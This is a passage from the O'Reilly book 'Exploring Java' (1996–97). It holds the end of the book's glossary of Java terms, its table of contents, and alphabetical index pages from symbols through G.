An important feature of object-oriented programming that involves defining a new object by changing or refining the behavior of an existing object. That is, an object implicitly contains all the non-private variables of its superclass and can invoke all the non-private methods of its superclass. Java supports single inheritance of classes and multiple inheritance of interfaces.

instance

An object. When a class is instantiated to produce an object, we say the object is an instance of the class.

instance method

A non-static method of a class. Such a method is passed an implicit this reference to the object that invoked it. See also class method and static.

instanceof

instanceof is a Java operator that returns true if the object on its left-hand side is an instance of the class (or implements the interface) specified on its right-hand side. instanceof returns false if the object is not an instance of the specified class or does not implement the specified interface. It also returns false if the specified object is null.

instance variable

A non-static variable of a class. Copies of such variables occur in every instance of the created class. See also class variable and static.

int

A primitive Java data type that's a 32-bit two's-complement signed number (in all implementations).

interface

The interface keyword is used to declare an interface. More generally, an interface defines a list of methods that enables a class to implement the interface itself.

interpreter

The module that decodes and executes Java bytecode.

ISO8859-1

An 8-bit character encoding standardized by the ISO. This encoding is also known as Latin-1 and contains characters from the Latin alphabet suitable for English and most languages of western Europe.

ISO10646

A 4-byte character encoding that includes all of the world's national standard character encodings. Also known as UCS. The 2-byte Unicode character set maps to the range 0x00000000 to 0x0000FFFF of ISO 10646.

Java WorkShop

Sun's Web browser-based tool written in Java for the development of Java applications.

JDK (Java Development Kit)

A package of software distributed by Sun Microsystems for Java developers. It includes the Java interpreter, Java classes, and Java development tools: compiler, debugger, disassembler, appletviewer, stub file generator, and documentation generator.

JavaScript

A language for creating dynamic Web pages developed by Netscape. From a programmer's point of view, it's unrelated to Java, although some of its capabilities are similar. Internally, there may be a relationship, but even that is unclear.

layout manager

An object that controls the arrangement of components within the display area of a container. The java.awt package contains a number of layout managers that provide different layout styles.

Latin-1

A nickname for ISO8859-1.

local variable

A variable that is declared inside a single method. A local variable can be seen only by code within that method.

long

A primitive Java data type that's a 64-bit two's-complement signed number (in all implementations).

method

The object-oriented programming term for a function or procedure.

method overloading

Providing definitions of more than one method with the same name but with different argument lists or return values. When an overloaded method is called, the compiler determines which one is intended by examining the supplied argument types.

method overriding

Defining a method that exactly matches (i.e., same name, same argument types, and same return type) a method defined in a superclass. When an overridden method is invoked, the interpreter uses "dynamic method lookup" to determine which method definition is applicable to the current object.

modifier

A keyword placed before a class, variable, or method that alters the item's accessibility, behavior, or semantics. See abstract, final, native, private, private protected, protected, public, static, and synchronized.

Model/View/Controller (MVC) framework

A user-interface design that originated in Smalltalk. In MVC, the data for a display item is called the "model." A "view" displays a particular representation of the model, and a "controller" provides user interaction with both. Java incorporates many MVC concepts.

NaN (not-a-number)

This is a special value of the double and float data types that represents an undefined result of a mathematical operation, such as zero divided by zero.

native

native is a modifier that may be applied to method declarations. It indicates that the method is implemented (elsewhere) in C, or in some other platform-dependent fashion. A native method should have a semicolon instead of a body. A native method cannot be abstract, but all other method modifiers may be used with native methods.

native method

A method that is implemented in a native language on a host platform, rather than being implemented in Java. Native methods provide access to such resources as the network, the windowing system, and the host filesystem.

new

new is a unary operator that creates a new object or array (or raises an OutOfMemoryException if there is not enough memory available).

null

null is a special value that indicates a variable doesn't refer to any object. The value null may be assigned to any class or interface variable. It cannot be cast to any integral type, and should not be considered equal to zero, as in C.

object

An instance of a class. A class models a group of things; an object models a particular member of that group.

package

The package statement specifies which package the code in the file is part of. Java code that is part of a particular package has access to all classes (public and non-public) in the package, and all non-private methods and fields in all those classes. When Java code is part of a named package, the compiled class file must be placed at the appropriate position in the CLASSPATH directory hierarchy before it can be accessed by the Java interpreter or other utilities. If the package statement is omitted from a file, the code in that file is part of an unnamed default package. This is convenient for small test programs, or during development because it means the code can be interpreted from the current directory.

<param> tag

HTML tag used within <applet> ... </applet> to specify a named parameter and string value to an applet within a Web page.

peer

The actual implementation of a GUI component on a specific platform. Peer components reside within a Toolkit object. See Toolkit.

primitive type

One of the Java data types: boolean, char, byte, short, int, long, float, double. Primitive types are manipulated, assigned, and passed to methods "by value" (i.e., the actual bytes of the data are copied). See also reference type.

private

The private keyword is a visibility modifier that can be applied to method and field variables of classes. A private field is not visible outside its class definition.

private protected

When the private and protected visibility modifiers are both applied to a variable or method in a class, they indicate the field is visible only within the class itself and within subclasses of the class. Note that subclasses can access only private protected fields within themselves or within other objects that are subclasses; they cannot access those fields within instances of the superclass.

protected

The protected keyword is a visibility modifier that can be applied to method and field variables of classes. A protected field is visible only within its class, within subclasses, or within the package of which its class is a part. Note that subclasses in different packages can access only protected fields within themselves or within other objects that are subclasses; they cannot access protected fields within instances of the superclass.

protocol handler

Software that describes and enables the use of a new protocol. A protocol handler consists of two classes: a StreamHandler and a URLConnection.

public

The public keyword is a visibility modifier that can be applied to classes and interfaces and to the method and field variables of classes and interfaces. A public class or interface is visible everywhere. A non-public class or interface is visible only within its package. A public method or variable is visible everywhere its class is visible. When none of the private, protected or public modifiers is specified, a field is visible only within the package of which its class is a part.

reference type

Any object or array. Reference types are manipulated, assigned, and passed to methods "by reference." In other words, the underlying value is not copied; only a reference to it is. See also primitive type.

root

The base of a hierarchy, such as a root class, whose descendants are subclasses. The java.lang.Object class serves as the root of the Java class hierarchy.

SecurityManager

The Java class that defines the methods the system calls to check whether a certain operation is permitted in the current environment.

server

The application that accepts a request for a conversation as part of a networked client/server application. See client.

shadow

To declare a variable with the same name as a variable defined in a superclass. We say the variable "shadows" the superclass's variable. Use the super keyword to refer to the shadowed variable, or refer to it by casting the object to the type of the superclass.

short

A primitive Java data type that's a 16-bit two's-complement signed number (in all implementations).

socket

An interface that listens for connections from clients on a data port and connects the client data stream with the receiving application.

static

The static keyword is a modifier applied to method and variable declarations within a class. A static variable is also known as a class variable as opposed to non-static instance variables. While each instance of a class has a full set of its own instance variables, there is only one copy of each static class variable, regardless of the number of instances of the class (perhaps zero) that are created. static variables may be accessed by class name or through an instance. Non-static variables can be accessed only through an instance.

stream

A flow of data, or a channel of communication. All fundamental I/O in Java is based on streams.

String

A class used to represent textual information. The String class includes many methods for operating on string objects. Java overloads the + operator for string concatenation.

subclass

A class that extends another. The subclass inherits the public and protected methods and variables of its superclass. See extends.

super

The keyword super refers to the same value as this: the instance of the class for which the current method (these keywords are valid only within non-static methods) was invoked. While the type of this is the type of the class in which the method appears, the type of super is the type of the superclass of the class in which the method appears. super is usually used to refer to superclass variables shadowed by variables in the current class. Using super in this way is equivalent to casting this to the type of the superclass.

superclass

A class extended by some other class. The superclass's public and protected methods and variables are available to the subclass. See extends.

synchronized

The synchronized keyword is used in two related ways in Java: as a modifier and as a statement. First, it is a modifier applied to class or instance methods. It indicates that the method modifies the internal state of the class or the internal state of an instance of the class in a way that is not thread-safe. Before running a synchronized class method, Java obtains a lock on the class, to ensure that no other threads can modify the class concurrently. Before running a synchronized instance method, Java obtains a lock on the instance that invoked the method, ensuring that no other threads can modify the object at the same time.

Java also supports a synchronized statement that serves to specify a "critical section" of code. The synchronized keyword is followed by an expression in parentheses, and a statement or block of statements. The expression must evaluate to an object or array. Java obtains a lock on the specified object or array before executing the statements.

TCP

Transmission Control Protocol. A connection-oriented, reliable protocol. One of the protocols on which the Internet is based.

this

Within an instance method or constructor of a class, this refers to "this object"--the instance currently being operated on. It is useful to refer to an instance variable of the class that has been shadowed by a local variable or method argument. It is also useful to pass the current object as an argument to static methods or methods of other classes.

There is one additional use of this: when it appears as the first statement in a constructor method, it refers to one of the other constructors of the class.

thread

A single, independent stream of execution within a program. Since Java is a "multithreaded" programming language, more than one thread may be running within the Java interpreter at a time. Threads in Java are represented and controlled through the Thread object.

throw

The throw statement signals that an exceptional condition has occurred by throwing a specified exception object. This statement stops program execution and resumes it at the nearest containing catch statement that can handle the specified exception object. Note that the throw keyword must be followed by an exception object, not an exception class.

throws

The throws keyword is used in a method declaration to list the exceptions the method can throw. Any exceptions a method can raise that are not subclasses of Error or RuntimeException must either be caught within the method or declared in the method's throws clause.

Toolkit

The property of the Java API that defines the look and feel of the user interface on a specific platform.

try

The try keyword indicates a block of code to which subsequent catch and finally clauses apply. The try statement itself performs no special action. See the entries for catch and finally for more information on the try/catch/finally construct.

UCS (universal character set)

A synonym for ISO10646.

UDP

User Datagram Protocol. A connectionless unreliable protocol. UDP describes a network data connection based on datagrams with little packet control.

Unicode

A 16-bit character encoding that includes all of the world's commonly used alphabets and ideographic character sets in a "unified" form (i.e., a form from which duplications among national standards have been removed). ASCII and Latin-1 characters may be trivially mapped to Unicode characters. Java uses Unicode for its char and String types.

UTF-8 (UCS transformation format 8-bit form)

An encoding for Unicode characters (and more generally, UCS characters) commonly used for transmission and storage. It is a multibyte format in which different characters require different numbers of bytes to be represented.

vector

A dynamic array of elements.

verifier

A theorem prover that steps through the Java byte-code before it is run and makes sure that it is well-behaved. The byte-code verifier is the first line of defense in Java's security model.

Previous | Home
Working with Audio | Book Index
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


Exploring Java
By Patrick Niemeyer & Joshua Peck; 1-56592-184-271-9, 500 pages (est.)
2nd Edition July 1997 (est.)

Table of Contents

Preface
Chapter 1: Yet Another Language?
Chapter 2: A First Applet
Chapter 3: Tools of the Trade
Chapter 4: The Java Language
Chapter 5: Objects in Java
Chapter 6: Threads
Chapter 7: Basic Utility Classes
Chapter 8: Input/Output Facilities
Chapter 9: Network Programming
Chapter 10: Understand the Abstract Windowing Toolkit
Chapter 11: Using and Creating GUI Components
Chapter 12: Layout Managers
Chapter 13: Drawing With the AWT
Chapter 14: Working With Images

Glossary
Index

Search the text of Exploring Java.

Copyright © 1996, 1997 O'Reilly & Associates. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Symbols and Numbers

@ (at sign) in doc comments : Comments
! (logical complement) operator : Operators
& (bitwise AND) operator : Operators
& (boolean AND) operator : Operators
& (dereference) operator in C : Operators
&& (conditional AND) operator : Operators
&= (assignment) operator : Operators
* for importing classes : Importing Classes
\ (backslash) in paths : Path localization
! (not) operator : run( )
!= (inequality) operator : Operators
| (bitwise OR) operator : Operators
| (boolean OR) operator : Operators
|| (conditional OR) operator : Operators
|= (assignment) operator : Operators
[ ] (index) operator : Arrays
^ (bitwise XOR) operator : Operators
^ (boolean XOR) operator : Operators
^= (assignment) operator : Operators
, (comma) operator in C
Statements
Operators
{ } curly braces : Arrays
for code blocks : Statements
for creating arrays : Array Creation and Initialization
- (subtraction) operator : Operators
- (unary minus) operator : Operators
- - (decrement) operator : Operators
- = (assignment) operator : Operators
- (hyphen) in class names : Locating Content Handlers
. (dot) notation
Variable access
Accessing Members
= (assignment) operator : Operators
= (equality) operator : Operators
== (identity) operator
More Events and Interfaces
Comparisons
> (greater than) operator : Operators
>= (greater than or equal) operator : Operators
>> (rightwise shift) operator : Operators
>>= (assignment) operator : Operators
>>> (rightwise shift) operator : Operators
>>>= (assignment) operator : Operators
< (less than) operator : Operators
<= (less than or equal) operator : Operators
<< (leftwise shift) operator
Operators
Creating an image
<<= (assignment) operator : Operators
( ) parentheses : Operators
% (remainder) operator : Operators
%= (assignment) operator : Operators
+ (addition) operator : Operators
+ (string concatenation) operator
Syntactic Sweet 'n Low
A Word About Strings
Operators
String Constructors
java.lang.StringBuffer
+ (unary plus) operator : Operators
+= (assignment) operator : Operators
++ (increment) operator : Operators
?: (conditional ternary) operator : Operators
/ (slash) in paths : Path localization
/ (division) operator : Operators
/= (assignment) operator : Operators
// // comments : Comments
/* */ comments : Comments
/** */ comments : Comments
* (multiplication) operator : Operators
* (reference) operator in C : Operators
*= (assignment) operator : Operators
~ (bitwise complement) operator : Operators

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

A

ABORT (variable) : Implementing an ImageObserver
abs( ) : java.lang.Math
absolute positioning : Absolute Positioning?
absolute value : java.lang.Math
abstract (modifier)
Constructors
Glossary
methods and classes : Abstract Methods and Classes
Abstract Windowing Toolkit (see AWT)
accept( ) with sockets : Clients and Servers
access control (see encapsulation; visibility modifiers)
account name, user : System Properties
acos( ) : java.lang.Math
add( )
Layout
Containers
addConsumer( )
Producing Image Data
A sequence of images
addElement( ) : java.util.Vector
addItem( ) : Menus and Choices
addition (+) operator : Operators
addNotify( ) : Peers
align attribute (<applet> tag) : The Complete Applet Tag
alignment, applet : The Complete Applet Tag
ALLBITS (variable) : Implementing an ImageObserver
allocating memory : Dynamic Memory Management
alpha (see ARGB color model)
alt attribute (<applet> tag) : The Complete Applet Tag
alternate text for browsers : The Complete Applet Tag
AND (&) operator, bitwise : Operators
AND (&) operator, boolean : Operators
AND (&&) operator, conditional : Operators
API (Application Programming Interface)
Basic Utility Classes
Glossary
append( ) : java.lang.StringBuffer
Applet (class) : Applet
AppletContext (object)
Getting Applet Resources
Driving the Browser
applets
Applets
Applets
Glossary
alignment of : The Complete Applet Tag
alternate text for : The Complete Applet Tag
examples of simple : A First Applet
files and : Applets and Files
name of
Attributes
The Complete Applet Tag
Loading Class Files
padding of : The Complete Applet Tag
propreties unreadable by : System Properties
size of
Attributes
The Complete Applet Tag
threading : Threading Applets
viewing
Viewing Applets
Getting Applet Resources
Glossary
AppletStub (object) : Getting Applet Resources
appletviewer program : Viewing Applets
Application Programming Interface (API)
Basic Utility Classes
Glossary
application-level security : Application and User Level Security
application/x-tar type : The application/x-tar Handler
applications
New Kinds of Applications
Glossary
applets
Enter Java
helper : Applets
arccosine : java.lang.Math
archived class files : The Class Path
arcsine : java.lang.Math
arctangent : java.lang.Math
ARGB color model : Color models
arguments : Variables
passing to methods : Argument Passing and References
arithmetic operators : Operators
ArithmeticException : Math Utilities
arraycopy( ) : Using Arrays
ArrayIndexOutOfBoundsException : Using Arrays
arrays
Dynamic Memory Management
Arrays
Arrays
Inside Arrays
creating and initializing : Array Creation and Initialization
declaring : Arrays
multidimensional : Multidimensional Arrays
nonrectangular : Multidimensional Arrays
ArrayStoreException : Inside Arrays
ascent (for fonts) : Font Metrics
asin( ) : java.lang.Math
assignment : Assignment
assignment operators : Operators
atan( ) : java.lang.Math
attributes, HTML : Attributes
audio files : Working with Audio
AudioClip (object) : Working with Audio
authentication : Signing Classes
@author tag : Comments
available( )
Terminal I/O
File Streams
AWT (Abstract Windowing Toolkit)
Understand the Abstract Windowing Toolkit
Glossary

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

B

backslash (\)
in paths : Path localization
in strings : Path localization
base classes, fragile : Incremental Development
base URL
Loading Class Files
Working with URLs
binding methods : Type Safety and Method Binding
dynamic : Overridden methods and dynamic binding
bitwise operators : Operators
block comments (see comments)
BOLD(value) : Fonts
boolean (type)
Instance Variables
Primitive Types
Glossary
boolean operators : Operators
BorderLayout (layout manager)
Layout managers
A TextEntryBox
BorderLayout
braces { } : Arrays
for code blocks : Statements
for creating arrays : Array Creation and Initialization
break statements
Statements
The finally Clause
browsers, Web (see Web browsers)
BufferedInputStream (class)
Streams
Buffered streams
BufferedOutputStream (class)
Streams
Buffered streams
BufferedReader (class)
Streams
Buffered streams
BufferedWriter (class)
Streams
Buffered streams
Button (object)
Hello Web! III: The Button Strikes!
Peers
byte (type)
Primitive Types
Glossary
byte-code verification
Safety of Implementation
The Java Interpreter
Glossary

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

C

C and C++, compared to Java : Java Compared
callbacks
Interfaces as Callbacks
Glossary
canRead( ) : File methods
Canvas (object) : Painting and Updating
canWrite( ) : File methods
capitalization
Static Members
Locating Content Handlers
equals( ) : Comparisons
toUpperCase( ), toLowerCase( ) : Editing
CardLayout (layout manager)
Layout Managers
CardLayout
carriage returns (see whitespace)
case expressions : Statements
case sensitivity (see capitalization)
casting
Casting
Glossary
catch clauses
Exceptions
Statements
Exception Handling
Try Creep
Glossary
ceil( ) : java.lang.Math
char (type)
Text Encoding
Primitive Types
Character literals
Glossary
character literals
Character literals
getting from strings : Things from Strings
within strings, returning : Editing
charAt( ) : Things from Strings
charWidth( ) : Font Metrics
checkAccept( ) : The Security Manager
checkAccess( )
The Security Manager
Taming the daemon
checkboxes : Checkboxes and CheckboxGroups
CheckboxGroup (object) : Checkboxes and CheckboxGroups
checkConnect( ) : The Security Manager
checkDelete( ) : The Security Manager
checkError( ) : Print streams
checkExec( ) : The Security Manager
checkExit( ) : The Security Manager
checkListen( ) : The Security Manager
checkPropertyAccess( ) : The Security Manager
checkRead( )
The Security Manager
Taming the daemon
-checksource option (java) : The Java Interpreter
checkTopLevelWindow( ) : The Security Manager
checkWrite( ) : The Security Manager
Choice (object) : Menus and Choices
Class (object) : java.lang.Class
.class extension : The Java Compiler
class files
alternative base URL : Loading Class Files
archived : The Class Path
loading : Loading Class Files
modification times : The Java Compiler
class instances
Class Instances and Objects
Classes
class loaders
Class Loader
Glossary
class methods
Static Members
Glossary
class paths
The Java Interpreter
The Class Path
Glossary
default : The Class Path
class type variables (see references)
class variables
Static Members
Glossary
ClassCastException
Casting
java.util.Vector
Getting the Content as an Object
classes
A Virtual Machine
Scalability
Classes
Classes
Glossary
abstract : Abstract Methods and Classes
array (see arrays)
collection : Vectors and Hashtables
compilation units
Compilation Units
Glossary
declaring : Glossary
error : Exceptions and Error Classes
final : String Method Summary
importing
Import
Importing Classes
Glossary
incremental development : Incremental Development
inheritance : Inheritance
MIME types and : Locating Content Handlers
multiple constructors (see overloading methods)
packages of (see packages)
protocols into names for : Locating Protocol Handlers
public, javac compiler and : The Java Compiler
reference types : Reference Types
visibility of : Class Visibility
wrapper : Primitive Types
CLASSPATH (variable)
The Class Path
Glossary
-classpath option (java, javac) : The Java Interpreter
clients
Clients and Servers
Glossary
clipRate( ) : Clipping
clipRect( ) : Painting and Updating
clock applet : Threading Applets
close( )
Terminal I/O
File Streams
code attribute (<applet> tag)
Attributes
Loading Class Files
code, source
blocks
Statements
Static and Nonstatic Code Blocks
compilation units : Compilation Units
codebase attribute (<applet> tag) : Loading Class Files
collection classes : Vectors and Hashtables
Color (class) : Color Commentary
colors
Color Commentary
Colors
color models
Color models
Image consumers
encoding as image data : Color models
predefined : Static Members
separating : Filtering Image Data
comma (,) operator in C
Statements
Operators
comments : Comments
compareTo( ) : Comparisons
comparing
strings : Comparisons
compilation units
Compilation Units
Glossary
compiler, Java (see javac)
compilers : Glossary
COMPLETESCANLINES property : Image consumers
Component (class)
Relationships and Finger Pointing
Components
components, GUI
Components
Glossary
absolute positioning : Absolute Positioning?
checkboxes : Checkboxes and CheckboxGroups
dialogs : Dialogs
file-selection boxes : File Selection Dialog
menus : Menus and Choices
scrollbars : ScrollPane and Scrollbars
size of : Layout Managers
text : Text Components
updating : Painting and Updating
composition
Variables
Glossary
concatenation (+) operator
Syntactic Sweet 'n Low
A Word About Strings
Operators
String Constructors
java.lang.StringBuffer
concurrency (see threads, synchronization)
conditional
AND (&&) operator : Operators
OR (||) operator : Operators
statements : Statements
ternary (?:) operator : Operators
connect( ) : Pipes
connected (variable) : The URLConnection
connection-oriented protocol : Sockets
constant colors : Colors
constants : Static Members
PI and E : java.lang.Math
constructors
Constructors
Object creation
Constructors
Using superclass constructors
Glossary
default : Method Overloading
File : File constructors
overloaded : Working with Overloaded Constructors
string : String Constructors
consumer threads : The Message Passer
Container (class)
Relationships and Finger Pointing
Containers
containers
Containers
Glossary
invalid : validate( ) and layout( )
preferred size of : Layout Managers
contains( ) : java.util.Vector
containsKey( ) : java.util.Hashtable
content handlers
New Kinds of Applications
Web Browsers and Handlers
Glossary
ContentHandler (class) : The ContentHandler class
ContentHandlerFactory (object) : Using our new handler
continue statements
Statements
The finally Clause
conversion
double to integer : java.lang.Math
MIME types to package/class names : Locating Content Handlers
protocols into package/class names : Locating Protocol Handlers
rectangular and polar coordinates : java.lang.Math
to and from strings : Strings from Things
coordinates
rectangular and polar : java.lang.Math
system of : Drawing Methods
cos( ) : java.lang.Math
cosine : java.lang.Math
countTokens( ) : java.util.StringTokenizer
createButton( ) : Peers
crypt : The crypt Handler
cryptography : Signing Classes
-cs option (java) : The Java Interpreter
curly braces (see braces)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

D

-d option (javac) : The Java Compiler
dash (-) : Locating Content Handlers
data (see types)
buffers : Buffered streams
hiding (see encapsulation)
streams : Streams
types (see types)
datagram sockets : Datagram Sockets
datagrams : Glossary
DataInputStream (class)
Streams
Data streams
DataOutputStream (class)
Streams
Data streams
DateAtHost client : The DateAtHost Client
dates and times : The DateAtHost Client
deallocating memory : Dynamic Memory Management
debugging : Syntactic Sweet 'n Low
decimal integers : Integer literals
declaring
arrays : Arrays
classes : Glossary
local variables : Local Variable Initialization
methods : Classes
variables
Variables
Declaration and initialization
Statements
Classes
decrement (- -) operator : Operators
default
array values : Array Creation and Initialization
case expression : Statements
class path : The Class Path
constructors
Method Overloading
Constructors
coordinate system : Drawing Methods
property values : Default Values
values for instance variables : Instance Variables
variable values : Declaration and initialization
#define statements : Syntactic Sweet 'n Low
delete( ) : File methods
dereference (&) operator in C : Operators
descent (for fonts) : Font Metrics
destroy( )
Threading Applets
Applet Control
destroying objects : Object Destruction
dialogs : Dialogs
Dictionary class : java.util.Dictionary
digital signatures : Signing Classes
direct color models : Color models
directories
creating : File methods
getting information about : File methods
listing files of : File methods
renaming : File methods
dispose( )
Menus and Choices
Double Buffering
division (/) operator : Operators
do-while statements : Statements
doc comments : Comments
dot (.) notation
Variable access
Accessing Members
double (type)
Primitive Types
Floating-point literals
Glossary
converting to integer : java.lang.Math
double buffering : Double Buffering
doubleValue( ) : Wrappers for Primitive Types
draw3DRect( ) : Drawing Methods
drawArc( ) : Drawing Methods
drawImage( ) : The Image Class
drawing (see images)
drawLine( ) : Drawing Methods
drawOval( ) : Drawing Methods
drawPolygon( ) : Drawing Methods
drawPolyline( ) : Drawing Methods
drawRect( ) : Drawing Methods
drawRoundRect( ) : Drawing Methods
drawString( )
The paint( ) Method
Fonts
Font Metrics
dynamic binding : Overridden methods and dynamic binding

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

E

E (value) : java.lang.Math
editing strings : Editing
Editor (object) : File Selection Dialog
elementAt( ) : java.util.Vector
elements( )
java.util.Enumeration
java.util.Hashtable
embeddable applications (see applets)
encapsulation
Safety of Implementation
Variable and Method Visibility
Glossary
encoding
color image data : Color models
ISO10646 : Glossary
ISO8859-1 : Glossary
text : Text Encoding
UTF-8 : Glossary
Encryption (class) : The Encryption class
endsWith( ) : Searching
Enumeration interface
java.util.StringTokenizer
java.util.Enumeration
environment information : System Properties
CLASSPATH : The Class Path
EOFException : java.io.RandomAccessFile
equality (=) operator : Operators
equals( )
The Object and Class Classes
Comparisons
equalsIgnoreCase( ) : Comparisons
err (see System.err)
ERROR (variable) : Implementing an ImageObserver
errors and exceptions
Error Handling
Exceptions
Statements
Exceptions
Glossary
ArithmeticException : Math Utilities
ArrayIndexOutOfBoundsException : Using Arrays
ArrayStoreException : Inside Arrays
ClassCastException
Casting
java.util.Vector
Getting the Content as an Object
compile time errors : Statements
EOFException : java.io.RandomAccessFile
error classes : Exceptions and Error Classes
FileNotFoundException
File Streams
Taming the daemon
IllegalAccessException : java.lang.Class
InstantiationException : java.lang.Class
InterruptedException
Exceptions
Controlling Threads
IOException
Terminal I/O
Print streams
File Streams
java.io.RandomAccessFile
Clients
HeartBeat
Getting the Content as an Object
MalformedURLException : The URL class
NullPointerException
Variables
null
NumberFormatException : Wrappers for Primitive Types
OutOfMemoryException : Glossary
overridden methods and : Exceptions and overridden methods
ParseException (invented) : Buffered streams
runtime exceptions : The throws Clause and checked Exceptions
SecurityException : The Security Manager
throwing exceptions on purpose : Throwing Exceptions
UnknownHostException
Clients
HeartBeat
UnknownServiceException : Stream Data
escape sequences : Text Encoding
evaluation, order of
Statements and Expressions
Operators
events
Events
Glossary
@exception tag : Comments
exceptions (see errors and exceptions)
exists( ) : File methods
exp( ) : java.lang.Math
exponents/exponentials
java.lang.Math
expressions
Statements and Expressions
Expressions
extends (keyword)
Inheritance
Glossary

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

F

false (value)
Instance Variables
fields : Classes
File constructor : File constructors
File.pathSeparator : Path localization
File.pathSeparatorChar : Path localization
File.separator
System Properties
Path localization
File.separatorChar : Path localization
FileDialog (class)
Path localization
File Selection Dialog
FileInputStream (class)
Streams
File Streams
FileNotFoundException
File Streams
Taming the daemon
FileOutputStream (class)
Streams
File Streams
FileReader (class) : Streams
files : Files
applets and : Applets and Files
audio
Applet Resources
Working with Audio
getting information about : File methods
images (see images)
nonexistent on server : Getting the Content as an Object
renaming : File methods
restricting access to : Taming the daemon
selecting from dialogs : File Selection Dialog
streams for : File Streams
tar : The application/x-tar Handler
FileWriter (class) : Streams
fill3DRect( ) : Drawing Methods
fillArc( )
Drawing Methods
fillOval( )
Drawing Methods
fillPolygon( ) : Drawing Methods
fillRect( )
Drawing Methods
Drawing Techniques
fillRoundRect( ) : Drawing Methods
FilteredImageSource (class) : Filtering Image Data
filtering image data : Filtering Image Data
FilterInputStream (class) : Stream Wrappers
FilterOutputStream (class) : Stream Wrappers
final (modifier)
Static Members
Constructors
Dynamic method selection and peformance
Glossary
classes : String Method Summary
static color values : Colors
finalize( )
Finalization
Glossary
finally clauses
Statements
The finally Clause
Glossary
first( ) : CardLayout
float (type)
Primitive Types
Floating-point literals
Glossary
floating-point literals
Floating-point literals
isNaN( ) : Math Utilities
out-of-range values : Math Utilities
floatValue( ) : Wrappers for Primitive Types
floor( ) : java.lang.Math
FlowLayout (layout manager)
Layout managers
FlowLayout
flush( ) : Buffered streams
focus, GUI component : Focus, please
fonts : Fonts
metrics : Font Metrics
for statements : Statements
forbidden access to files : Taming the daemon
forName( ) : java.lang.Class
fragile base class : Incremental Development
Frame (object) : Containers
BorderLayout : Layout managers
FRAMEBITS (variable) : Implementing an ImageObserver
frames, menus and : Menus and Choices

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

G

garbage collection
Dynamic Memory Management
Garbage Collection
Garbage Collection
Double Buffering
Glossary
Gaussian distributions : Random Numbers
gc( ) : Garbage Collection
general exceptions
The throws Clause and checked Exceptions
generic : java.util.Vector
get( ) : java.util.Hashtable
getAbsolutePath( ) : File methods
getAppletContext( ) : Driving the Browser
getAscent( ) : Font Metrics
getAudioClip( )
Applet Resources
Working with Audio
getBuffer( ) : Strings to Streams and Back
getByName( ) : HeartBeat
getCanonicalPath( ) : File methods
getClass( ) : java.lang.Class
getCodeBase( )
HeartBeat
Applet Resources
getColor( ) : Colors
getComponent( ) : Checkboxes and CheckboxGroups
getContent( )
Getting the Content as an Object
The ContentHandler class
getCurrent( ) : Checkboxes and CheckboxGroups
getDescent( ) : Font Metrics
getDocumentBase( ) : Applet Resources
getFamily( ) : Fonts
getFile( ) : The URL class
getFilePointer( ) : java.io.RandomAccessFile
getFocus( ) : Focus, please
getFont( )
Fonts
Font Metrics
getFontMetrics( ) : Font Metrics
getHeight( ), getWidth( )
Font Metrics
Scaling and Size
getHost( )
HeartBeat
The URL class
getHours( ) : The DateAtHost Client
getImage( )
Applet Resources
The Image Class
getInputStream( ) : Clients
getLabel( ) : Checkboxes and CheckboxGroups
getLeading( ) : Font Metrics
getMaxAdvance( ) : Font Metrics
getMaxAscent( ) : Font Metrics
getMaxDescent( ) : Font Metrics
getMaximumSize( ) : Layout Managers
getMessage( ) : The Message Passer
getMinimumSize( ) : Layout Managers
getMinutes( ) : The DateAtHost Client
getName( )
File methods
Fonts
getOuputStream( ) : Clients
getParameter( )
Methods
Applet Parameters
getParent( ) : File methods
getPath( ) : File methods
getPreferredSize( ) : Layout Managers
getProperty( )
Properties
System Properties
getProtocol( ) : The URL class
getRGBdefault( ) : Color models
getSelectedItem( ) : Menus and Choices
getSize( ) : Fonts
getState( ) : Checkboxes and CheckboxGroups
getStyle( ) : Fonts
getText( ) : A TextEntryBox
getWidth( ) : Scaling and Size
getWidths( ) : Font Metrics
Gosling, James : Java's Origins
goto statements in C : Statements
graphics (see images)
Graphics (class) : The paint( ) Method
graphics context
The paint( ) Method
Basic Drawing
Glossary
origin of : Drawing Methods
greater than (>) operator : Operators
greater than or equal (>=) operator : Operators
GridLayout (layout manager)
Layout managers
Using Scrollbars
GridLayout
guessContentTypeFromName( ) : The URLConnection
guessContentTypeFromStream( ) : The URLConnection
GUIs (graphical user interfaces)
Events
GUI Concepts in Java
Glossary
layout managers
Layout
Layout managers
Layout Managers
updating components : Painting and Updating

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

